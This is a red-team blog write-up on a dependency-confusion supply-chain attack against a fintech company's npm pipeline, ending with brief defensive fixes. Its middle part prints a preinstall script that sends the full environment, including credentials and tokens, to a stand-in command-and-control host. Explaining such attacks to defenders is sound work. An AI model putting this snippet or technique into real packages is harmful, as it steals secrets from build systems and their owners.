Back to Expeditions
Red TeamingSupply ChainAppSec

Anatomy of a Supply Chain Attack: The NPM Package That Wasn't

0xhabib December 20, 2025
Anatomy of a Supply Chain Attack: The NPM Package That Wasn't

The Silent Killer


Everyone is obsessed with their own code. They fuzz their APIs, they static-analyze their react components. But nobody looks at node_modules. That's where the bodies are buried.

The Setup

During a recent Red Team engagement for a fintech giant, we found ourselves walled off. Their external perimeter was solid. WAFs everywhere, strict egress filtering, hardened endpoints. So we stopped attacking them. We attacked what they trusted.

We noticed a private internal package name in a leaked package.json file on a developer's personal GitHub gist. @fintech-internal/auth-utils.

The Execution: Dependency Confusion

Here's the kicker: npm (and many other package managers) defaults to the public registry if it can't find the package in the private one, or if the public one has a higher version. We registered @fintech-internal/auth-utils on the public npm registry with a version number 99.9.9.

Inside the package? A simple preinstall script:

const net = require('net');
const client = new net.Socket();
client.connect(1337, 'attacker-c2.com', function() {
	client.write(JSON.stringify(process.env));
});

The Catch

We waited 4 hours. Then, a CI/CD pipeline woke up. It ran npm install. It saw our "newer" version. It pulled our code. It executed our script. Boom. AWS keys, Database credentials, and internal API tokens, delivered straight to our C2.

The Fix

  1. Scoped Packages: properly configure your .npmrc.
  2. Lockfiles: package-lock.json exists for a reason. Commit it.
  3. Jail Your CI: Your build server shouldn't have internet access unless absolutely necessary.

Conclusion

You can have the best firewall in the world, but if your build pipeline invites the Trojan Horse in, it's game over. Start auditing your dependencies. Now.